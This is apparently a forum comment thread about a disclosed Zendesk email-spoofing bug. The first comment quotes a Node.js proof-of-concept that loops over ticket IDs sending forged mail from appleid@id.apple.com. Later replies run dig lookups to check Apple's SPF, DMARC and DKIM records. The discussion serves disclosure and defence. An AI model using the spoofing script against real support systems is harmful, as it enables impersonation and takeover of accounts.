Comment by Thorrez

4 months ago

I agree with your point, but that email's not the best example because it would have passed SPF/DMARC/DKIM. It's a step or two later that involved sending a spoofed email from appleid@id.apple.com :

  const sendmail = require('sendmail')();
  
  // Assuming the ticket you created in step #2 was assigned a ticket ID of #453 
  // verification email landed somewhere near there
  const range = [448, 457];
  for (let i = range[0]; i < range[1]; i++) {
      // Send spoofed emails from Apple to Zendesk
      sendmail({
          from: 'appleid@id.apple.com',
          to: `support+id${i}@company.com`,
          cc: 'daniel@wearehackerone.com',
          subject: '',
          html: 'comment body',
      }, function (err, reply) {
          console.log(err && err.stack)
          console.dir(reply)
      });
  };

8 comments

Thorrez

Reply
johnmaguire  4 months ago

This is exactly my point: if Apple has SPF/DKIM/DMARC configured correctly, then Zendesk should be validating the email sender. That they didn't is technically an SPF/DKIM/DMARC issue - a bug in Zendesk - but it is not a customer misconfiguration issue.

  • fweimer  4 months ago

    You don't want to too strict technical validations on your helpdesk contact points, though. It's supposed to be reachable when things are broken. So it's not as easy as just reconfiguring incoming mail relays. You might need separate domains for extended validation, or a reliable (!) way to relay authentication results to those mail endpoints that need it. Come to think of it, presenting email validation results to helpdesk staff might be a good idea in general.

  • tryauuum  4 months ago

    if someone's reading this thread: yes, apple does have dmarc / spf

        $ dig id.apple.com TXT +short
    "v=spf1 include:_spf-txn.apple.com include:_spf-mkt.apple.com include:_spf.apple.com include:icloud.com ~all"
    $ dig _dmarc.id.apple.com TXT +short
    "v=DMARC1; p=reject; rua=mailto:d@rua.agari.com; ruf=mailto:d@ruf.agari.com;"

    • teddyh  4 months ago

      They also seem to have DKIM. To find out, first we need an authoritative name server for id.apple.com:

        $ dig +short id.apple.com NS
  ns1-235.akam.net.
  ns1-45.akam.net.
  asia3.akam.net.
  asia2.akam.net.
  eur5.akam.net.
  usw2.akam.net.
  usw6.akam.net.
  use1.akam.net.

      We pick an arbitrary nameserver and see if the _domainkey subdomain gives NXDOMAIN or NORERROR:

        $ dig +noall +comments +norecurse @ns1-235.akam.net _domainkey.id.apple.com TXT | grep HEADER
  ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12521

      Good, it gives NOERROR, which indicates the existence of subdomains. Just to be sure, we check some other arbitrary non-existing subdomain, to see if it gives NXDOMAIN as it should:

        $ dig +noall +comments +norecurse @ns1-235.akam.net zojglgrcqk.id.apple.com TXT | grep HEADER
  ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 5653

      Since it gives the expected NXDOMAIN, this strongly indicates that there are DNS records present on subdomains of “_domainkey.id.apple.com”; i.e. DKIM keys.

      (Of course, if you have ever recieved e-mail from an address @id.apple.com, you would see the selector name in the DKIM signature header, and could look up the corresponding DKIM record directly. The above method is for when you don’t have access to that.)